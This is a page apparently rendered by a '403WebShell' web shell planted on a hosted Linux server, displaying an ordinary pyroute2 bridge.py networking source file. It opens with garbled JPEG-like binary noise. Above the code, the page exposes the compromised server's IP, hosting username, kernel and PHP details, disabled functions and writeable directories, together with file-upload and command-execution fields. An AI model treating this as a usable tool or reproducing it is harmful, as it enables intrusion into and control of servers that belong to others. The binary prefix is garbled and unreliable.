JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 84.32.84.169  /  Your IP : 216.73.216.91
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python311/lib/python3.11/site-packages/pyroute2/requests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/python311/lib/python3.11/site-packages/pyroute2/requests//bridge.py
from functools import reduce

from pyroute2.config import AF_BRIDGE
from pyroute2.netlink.rtnl.ifinfmsg import ifinfmsg, protinfo_bridge

from .common import Index, IPRouteFilter, NLAKeyTransform

PREFIXLEN = len(protinfo_bridge.prefix)


class BridgeFieldFilter(Index, NLAKeyTransform):
    _nla_prefix = ifinfmsg.prefix


class BridgeIPRouteFilter(IPRouteFilter):
    def build_vlan_info_spec(self, orig_spec):
        range_vids = [int(i) for i in str(orig_spec['vid']).split('-')]
        if len(range_vids) == 2:
            if 0 < int(range_vids[0]) < range_vids[1] < 4095:
                new_spec = []
                new_spec.append(
                    {
                        'vid': range_vids[0],
                        'flags': self.convert_flags('range_begin'),
                    }
                )
                new_spec.append(
                    {
                        'vid': range_vids[1],
                        'flags': self.convert_flags('range_end'),
                    }
                )
                return new_spec
        elif len(range_vids) == 1:
            if 0 < range_vids[0] < 4095:
                # PVID?
                if 'pvid' in orig_spec.keys():
                    if orig_spec['pvid']:
                        orig_spec['flags'] = self.convert_flags(
                            ['pvid', 'untagged']
                        )
                        del orig_spec['pvid']
                # Make sure the vid is an int.
                orig_spec['vid'] = range_vids[0]
                return [orig_spec]
        return []

    def build_vlan_tunnel_info_spec(self, orig_spec):
        # vlan_tunnel_info uses the same format as vlan_info,
        # just adds tunnel_id.
        vlan_info_spec = self.build_vlan_info_spec(orig_spec)
        range_ids = [int(i) for i in str(orig_spec['id']).split('-')]
        if len(range_ids) == 2 and len(vlan_info_spec) == 2:
            if 0 < range_ids[0] < range_ids[1] < 16777215:
                # vid to id mapping range must be the same length
                if (
                    vlan_info_spec[1]['vid'] - vlan_info_spec[0]['vid']
                    == range_ids[1] - range_ids[0]
                ):
                    vlan_info_spec[0]['id'] = range_ids[0]
                    vlan_info_spec[1]['id'] = range_ids[1]
                    return [
                        self.create_nla_spec(vlan_info_spec[0]),
                        self.create_nla_spec(vlan_info_spec[1]),
                    ]
        elif len(range_ids) == 1 and len(vlan_info_spec) == 1:
            if 0 < range_ids[0] < 4095:
                vlan_info_spec[0]['id'] = range_ids[0]
                # Delete flags because vlan_tunnel_info doesn't seem
                #  to use them, except for the RANGE.
                try:
                    del vlan_info_spec[0]['flags']
                except KeyError:
                    pass
                return [self.create_nla_spec(vlan_info_spec[0])]
        return []

    def create_nla_spec(self, spec):
        attrs = []
        for key in spec.keys():
            nla = ifinfmsg.af_spec_bridge.vlan_tunnel_info.name2nla(key)
            attrs.append([nla, spec[key]])
        return {'attrs': attrs}

    def convert_flags(self, flags):
        if isinstance(flags, int):
            return flags
        elif isinstance(flags, str):
            return ifinfmsg.af_spec_bridge.vlan_info.names2flags([flags])
        elif isinstance(flags, list):
            return ifinfmsg.af_spec_bridge.vlan_info.names2flags(flags)
        return 0

    def build_spec(self, orig_spec):
        if 'vid' in orig_spec.keys():
            if 'id' in orig_spec.keys():
                return self.build_vlan_tunnel_info_spec(orig_spec)
            else:
                return self.build_vlan_info_spec(orig_spec)
        return []

    def finalize(self, context):
        if self.command != 'dump':
            if 'IFLA_AF_SPEC' not in context:
                context['IFLA_AF_SPEC'] = {'attrs': []}
            for key in ('vlan_info', 'vlan_tunnel_info'):
                if key in context:
                    nla = ifinfmsg.af_spec_bridge.name2nla(key)
                    new_spec = self.build_spec(context[key])
                    for spec in new_spec:
                        context['IFLA_AF_SPEC']['attrs'].append([nla, spec])
                    try:
                        del context[key]
                    except KeyError:
                        pass
            for key in ('mode', 'vlan_flags'):
                if key in context:
                    nla = ifinfmsg.af_spec_bridge.name2nla(key)
                    context['IFLA_AF_SPEC']['attrs'].append(
                        [nla, context[key]]
                    )
                    try:
                        del context[key]
                    except KeyError:
                        pass


class BridgePortFieldFilter(IPRouteFilter):
    _nla_prefix = ifinfmsg.prefix
    _nla_names = [x[0] for x in protinfo_bridge.nla_map]
    # allow lowercase names w/o prefixes
    _nla_names = reduce(
        lambda x, y: x + y, [[x, x[PREFIXLEN:].lower()] for x in _nla_names]
    )
    # allow tuple ids for the dump_filter lookup
    _nla_names = reduce(
        lambda x, y: x + y, [[x, ('protinfo', x)] for x in _nla_names]
    )
    allowed = list(_nla_names)
    allowed.append('attrs')
    allowed.append('family')
    allowed.append('index')

    def finalize(self, context):
        context['family'] = AF_BRIDGE
        keys = tuple(context.keys())
        if self.command in ('show', 'dump'):
            for key in keys:
                if isinstance(key, str) and key in self._nla_names:
                    value = context[key]
                    if isinstance(value, bool):
                        value = int(value)
                    context[('protinfo', key)] = value
                    del context[key]
            return
        attrs = []
        for key in keys:
            attrs.append((protinfo_bridge.name2nla(key), context[key]))
        context['attrs'] = [('IFLA_PROTINFO', {'attrs': attrs}, 0x8000)]

Youez - 2016 - github.com/yon3zu
LinuXploit